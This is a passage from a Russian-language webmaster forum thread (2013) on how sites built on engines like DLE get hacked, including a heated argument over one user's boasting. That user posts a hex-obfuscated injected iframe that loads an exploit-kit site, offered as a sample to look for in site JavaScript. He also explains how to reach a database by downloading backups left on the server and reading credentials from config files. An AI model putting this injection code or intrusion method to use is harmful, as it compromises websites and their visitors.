Перешёл на светлую сторону Силы

Виноват)

1337day.com

exploit-db.com

securityfocus.com

web.nvd.nist.gov

Это так, на вскидку. Плюс ещё очень много бложиков всяких спецов, которые публикуют, порой, раньше чем на этих трекерах.

---------- Добавлено 15.04.2013 в 01:00 ----------

Мне просто лениво этим заниматься

Уже было предупреждение:

а в тему писать не лениво? ))

давайте кто-то поставьте ДЛЕ куда-то. Пусть поламает и покажет.

Я вам доказывать ничего не буду. Я вам услуги не предлагаю и вы меня на работу не берёте, дабы что-то показывать. Не верите, что я могу поделать.

Я просто рассказаваю, как обстоят дела.

🤪 кто бы сомневался ))))

Снов, товарищи.

Max Belov25, а как дела с modx revo обстоят, не сталкивались?

ага, а как же "лень"?

может просто Вы не умеете этого делать? то что скинуто - не показатель. дырку можно было купить, могло давно стоять, может быть даже сайт Ваш. "Лень" сделать на конкретном сайте, зато не лень на другом? )))

Да, вы меня рассекретили. Сдаюсь.

Забыл сказать о сливе трафа. Уже очень не многие ставят код в индекс. Некоторые движки позволяют инклудить прям в базу. Это к Vb относится. За остальные не вспомню щас.

У кого трафа более 1к в сутки (если меньше, то просто не выгодно морочиться), советую проверить свои JS-скрипты (в частности те, которые выводятся на большинстве страниц) на предмет подобного кода

\\x3C\\x69\\x66\\x72\\x61\\x6D\\x65\\x20\\x73\\x72\\x63\\x3D\\x22\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x62\\x6C\\x61\\x63\\x6B\\x63\\x6F\\x69\\x6E\\x2E\\x63\\x63\\x22\\x3E\\x3C\\x2F\\x69\\x66\\x72\\x61\\x6D\\x65\\x3E\\x77\\x72\\x69\\x74\\x65

Это обфусцированная ссылка на сайт со связкой.

---------- Добавлено 15.04.2013 в 01:38 ----------

И ещё один момент, который часто помогал добраться к базе, если шелл не рутовый. Ну, вариантов масса, не суть.

Это бекапы на том же сервере. Их можно скачать, и в открытом виде посмотреть файлы конфига, где будут явки-пароли к базам. Ну а там уже создал себе пользователя, залился и т.п.

Не знаю как кто борится с подобными вещами, но есть ещё один ньюанс, у тех, кто всё-таки хранит бекапы на том же сайте. Они добавляют disallow в роботс для папки с базой. А скачать базу уже не составляет особого труда. Часто видел, что перезаписывается один и тот же файл backup.zip. Пароли к архивам, если таковые есть, тоже не большая проблема, как правило.

DeL Esprit, утомил! Модератор предупредил - НЕ ТРОЛЛИТЬ, но нет, оно тут развело понты для девочек.

И при этом:

Так что кто тут чего стоит - ещё вопрос.

А ТС как бэ и не подписывался на лом (тем более что это запрещено правилами). Цель топика совсем другая.

Всё, завязывай, плз, со своим сантиметром тут бегать.